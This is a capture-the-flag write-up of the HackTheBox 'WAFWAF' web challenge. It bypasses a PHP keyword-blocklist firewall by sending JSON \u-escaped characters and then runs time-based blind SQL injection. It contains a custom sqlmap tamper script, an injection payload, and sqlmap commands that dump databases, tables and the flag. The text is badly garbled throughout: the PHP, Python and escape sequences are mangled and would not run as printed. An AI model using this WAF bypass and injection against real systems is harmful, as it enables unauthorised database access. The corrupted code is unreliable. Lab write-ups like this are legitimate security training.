WAFWAF - WEB CHALLENGE

writeup by MrTiz (https://www.hackthebox.eu/profile/193753)

Once the challenge instance has been launched, to the default address provided by HackTheBox (docker.hackthebox.eu:31037) we are returned a web page containing the PHP source of the main page (presumably index.php):

```
<? Php error_reporting ( 0 );
require 'Config.php' ;

class db extends Connection {
        public function waf ($ S) {
                if (Preg_match_all ( '/' . implode ( '|' , array (
                        '[' . preg_quote ( "(* <=> | '& - @ " ). ']' ,
                        'Select' , 'And' , 'Or' , 'If' , 'By' , 'From' ,
                        'Where' , 'As' , 'Is' , 'in' , 'Not' , 'Having'
                ) )    .    '/the' , $ s, $ matches)) die (Var_dump ($ matches [ 0 ]));
                return json_decode ($ s); }


        public function queries ($ Sql) {
                $ args = func_get_args ();
                one set ($ Args [ 0 ]);
                return parent :: query (vsprintf ($ sql, $ args)); }}



$ db = new db ();

if ($ _SERVER [ 'REQUEST_METHOD' ] == 'POST' ) {$ obj = $ db-> waf (file_get_contents ( 'Php: // input' )); $ Db-> query ( "SELECT note
        FROM notes WHERE assignee = '% s'" , $ obj-> user);

} else {
        die (Highlight_file ( __FILE__ , 1 ));
}
?>
```

So we have a PHP script that queries an SQL database and that filters the input of POST requests through a *Web Application Firewall (* WAF) rudimentary, implemented by the function waf () of the class
db .

The script ends immediately when at least one of the following characters or strings is detected in the input string:

```
[, (, *, <, =,>, |, ', &, -, @,], select, and, or, if, by, from, where, as, is, in, not, having
```

The check is case-insensitive. To be able to correctly launch SQLi it is necessary to bypass the function controls waf () . We immediately notice that the function is performed on the "raw" input received through the POST request. Then one is performed json_decode on the input string, therefore the script expects to receive JSON objects.

Since the string is decoded after the function checks waf () we can take advantage of the fact that in JSON it is possible to encode characters in UTF-16 , which, when decoding the JSON, will return to the original format; let's take an example:

```
$ echo -n 'MrTiz' | iconv -t UTF-16BE -o test.out $ xxd test.out

00000000: 004d 0072 0054 0069 007a                                . MrTiz
```

The string MrTiz was saved as \ u004d \ u0072 \ u0054 \ u0069 \ u007a . Now let's try to decode a JSON object of the type:

```
{ "User": "\ U004d \ u0072 \ u0054 \ u0069 \ u007a" }
```

```
$ echo -n "{\" User \ ": \" \ u004d \ u0072 \ u0054 \ u0069 \ u007a \ "}" | python3 -c
"import sys, json; print (json.load (sys.stdin))"

{ 'User' : 'MrTiz' }
```

We can therefore bypass the WAF by using UTF-16 encoding and launch SQLi which will then be passed to the function queries . The last obstacle is that the script returns nothing, not even errors (error_reporting (0)). It is not a big problem as long as we sacrifice the speed of execution of our queries, since we will have to take advantage of the ***Time-Based Blind SQLi.***

For simplicity we will use the tool sqlMap with the addition of our script *tampering* created for the occasion, with the name encodeUTF16 :

```
# ! / usr / bin / env python

from lib.core.enums imports PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies () :
        pass

def tamper (payload, ** kwargs) :
        payload = payload.replace ( '[' , "\\ u005b" )
```

```
        payload = payload.replace ( '(' , "\\ u0028" ) payload = payload.replace ( '*' , "\\
        u002a" ) payload = payload.replace ( '<' , "\\ u003c" ) payload =
        payload.replace ( '=' , "\\ u003d" ) payload = payload.replace ( '>' , "\\ u003e" )
        payload = payload.replace ( '|' , "\\ u007c" ) payload = payload.replace ( '\' ' , "\\
        u0027" ) payload = payload.replace ( '&' , "\\ u0026" ) payload =
        payload.replace ( '-' , "\\ u002d" ) payload = payload.replace ( '@' , "\\ u0040" )
        payload = payload.replace ( ']' , "\\ u005d" ) payload = payload.replace ( 'Select' ,




"\\ u0073 \\ u0065 \\ u006c u0065 \\ \\ \\ u0063 u0074" ) payload = payload.replace
        ( 'SELECT' ,
"\\ u0053 \\ u0045 \\ u004c u0045 \\ \\ \\ u0043 u0054" ) payload = payload.replace ( 'And' , "\\ u0061 u006e \\ \\ u0064" )
        payload = payload.replace ( 'AND' , "\\ u0041 u004e \\ \\ u0044" ) payload = payload.replace ( 'Or' , "U006f \\ \\ u0072" )
        payload = payload.replace ( 'OR' , "U004f \\ \\ u0052" ) payload = payload.replace ( 'If' , "\\ u0069 \\ u0066" ) payload =
        payload.replace ( 'IF' , "\\ u0049 \\ u0046" ) payload = payload.replace ( 'By' , "\\ u0062 \\ u0079" ) payload =
        payload.replace ( 'BY' , "\\ u0042 \\ u0059" ) payload = payload.replace ( 'From' , "\\ u0066 \\ \\ u0072 u006f \\ u006d" )
        payload = payload.replace ( 'FROM' , "\\ u0046 \\ \\ u0052 u004f \\ u004d" ) payload = payload.replace ( 'Where' ,




"\\ u0077 \\ u0068 \\ u0065 \\ u0072 \\ u0065" ) payload =
        payload.replace ( 'WHERE' ,
"\\ u0057 \\ u0048 \\ u0045 \\ u0052 \\ u0045" ) payload = payload.replace ( 'As' , "\\ u0061 \\ u0073" ) payload =
        payload.replace ( 'AS' , "\\ u0041 \\ u0053" ) payload = payload.replace ( 'Is' , "\\ u0069 \\ u0073" ) payload
        = payload.replace ( 'IS' , "\\ u0049 \\ u0053" ) payload = payload.replace ( 'in' , "\\ \\ u0069 u006e" ) payload
        = payload.replace ( 'IN' , "\\ \\ u0049 u004e" ) payload = payload.replace ( 'Not' , "U006e \\ \\ \\ u0074
        u006f" ) payload = payload.replace ( 'NOT' , "U004e \\ \\ \\ u0054 u004f" ) payload = payload.replace ( 'Having'
        ,




"\\ u0068 \\ u0061 \\ \\ u0076 u006e u0069 \\ \\ u0067" ) payload = payload.replace
        ( 'HAVING' ,
"\\ u0048 \\ u0041 \\ \\ u0056 u004e u0049 \\ \\ u0047" )

        return payload
```

```
$ sqlmap -u http://docker.hackthebox.eu:31037 --data = "{\" User \ ": \" * \ "}" -tamper = encodeUTF16


[...]

[INFO] (custom) POST parameter 'JSON # 1 *' appears to be 'MySQL> = 5.0.12 AND time-based blind (SLEEP query)' injectable
```

```
[...]

(custom) POST parameter 'JSON # 1 *' is vulnerable. Do you want to keep testing the others ( if any)? [Y / N]

sqlmap identified the following injection point (s) with a total of 76 HTTP (s) requests:

- - -
Parameter: JSON # 1 * ((custom) POST)
        Type: time-based blind
        Title: MySQL> = 5.0.12 AND time-based blind (SLEEP query) Payload: { "User" : "'AND (SELECT 9878 FROM (SELECT
    (SLEEP (5))) RDgU) AND' Okow '=' Okow" }

- - -
[19:37:53] [WARNING] changes made by tampering scripts are not included in
shown payload content (s)
[19:37:53] [INFO] the back-end DBMS is MySQL
```

We discovered that the DBMS is MySQL and the technique used to query it is that of the *Time-Based Blind* (' AND (SELECT 9878 FROM (SELECT (SLEEP (5))) RDgU) AND 'Okow' = 'Okow).

Let's now extract the list of available databases:

```
$ sqlmap -u http://docker.hackthebox.eu:31037 --data = "{\" User \ ": \" * \ "}" -tamper = encodeUTF16 - scheme


[...]

[INFO] enumerating database management system schema [INFO] fetching database names
[INFO] fetching number of databases [INFO] retrieved: 5


[INFO] retrieved: information_schema [INFO] retrieved: db_m8452
[INFO] retrieved: mysql

[INFO] retrieved: performance_schema [INFO] retrieved: sys
```

We have five databases db_m8452, information_schema, mysql, performance_schema, sys .

Let's extract the list of database tables db_m8452 :

```
$ sqlmap -u http://docker.hackthebox.eu:31037 --data = "{\" User \ ": \" * \ "}" -tamper = encodeUTF16 --tables -D db_m8452


[...]

[INFO] fetching tables for database: 'Db_m8452'
[INFO] fetching number of tables for database 'Db_m8452'
[INFO] retrieved: 2
```

```
[INFO] retrieved: definitely_not_a_flag [INFO] retrieved: notes
Database: db_m8452 [2 tables]


+ - - - - - - - - - - - - - - - - - - - - - - +
| definitely_not_a_flag | | notes
                                          |
+ - - - - - - - - - - - - - - - - - - - - - - +
```

The database db_m8452 it has two tables, definitely_not_a_flag is notes . Let's now extract the contents of the table definitely_not_a_flag :

```
$ sqlmap -u http://docker.hackthebox.eu:31037 --data = "{\" User \ ": \" * \ "}" -tamper = encodeUTF16 --dump -D db_m8452 -T
definitely_not_a_flag

[...]

[INFO] fetching number of columns for table 'Definitely_not_a_flag' in
database 'Db_m8452'
[INFO] retrieved: 1 [INFO] retrieved: flag [INFO] fetching entries for table 'Definitely_not_a_flag' in database


'Db_m8452'
[INFO] fetching number of entries for table 'Definitely_not_a_flag' in
database 'Db_m8452'
[INFO] retrieved: 1
HTB {w4f_w4fing_my_w4y_0utt4_h3r3} Database: db_m8452

Table: definitely_not_a_flag [1 entry]

+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| flag                                                                        |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| HTB {w4f_w4fing_my_w4y_0utt4_h3r3} |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
```

The flag is HTB w4f_w4fing_my_w4y_0utt4_h3r3 {}